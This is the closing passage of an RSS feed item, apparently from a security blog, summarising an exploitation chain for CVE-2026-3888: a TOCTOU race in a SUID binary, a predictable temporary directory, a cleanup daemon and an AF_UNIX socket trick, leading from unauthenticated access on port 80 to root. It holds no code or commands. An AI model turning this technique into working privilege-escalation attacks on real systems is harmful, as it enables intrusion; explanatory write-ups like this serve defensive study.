&lt;p&gt;&lt;strong&gt;CVE-2026–3888&lt;/strong&gt; demonstrates why TOCTOU bugs in privileged binaries are so&lt;br&gt;
dangerous. The combination of a SUID binary, a predictable temporary directory, and a&lt;br&gt;
scheduled cleanup daemon creates a reliable exploitation window. The AF_UNIX socket&lt;br&gt;
trick to slow down execution is an elegant technique worth understanding in depth.&lt;/p&gt;

&lt;p&gt;Together, they show how an entirely unauthenticated attacker on port 80 can become&lt;br&gt;
root on a Linux system through a well-researched chain.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>linux</category>
      <category>security</category>
    </item>
  </channel>
</rss>
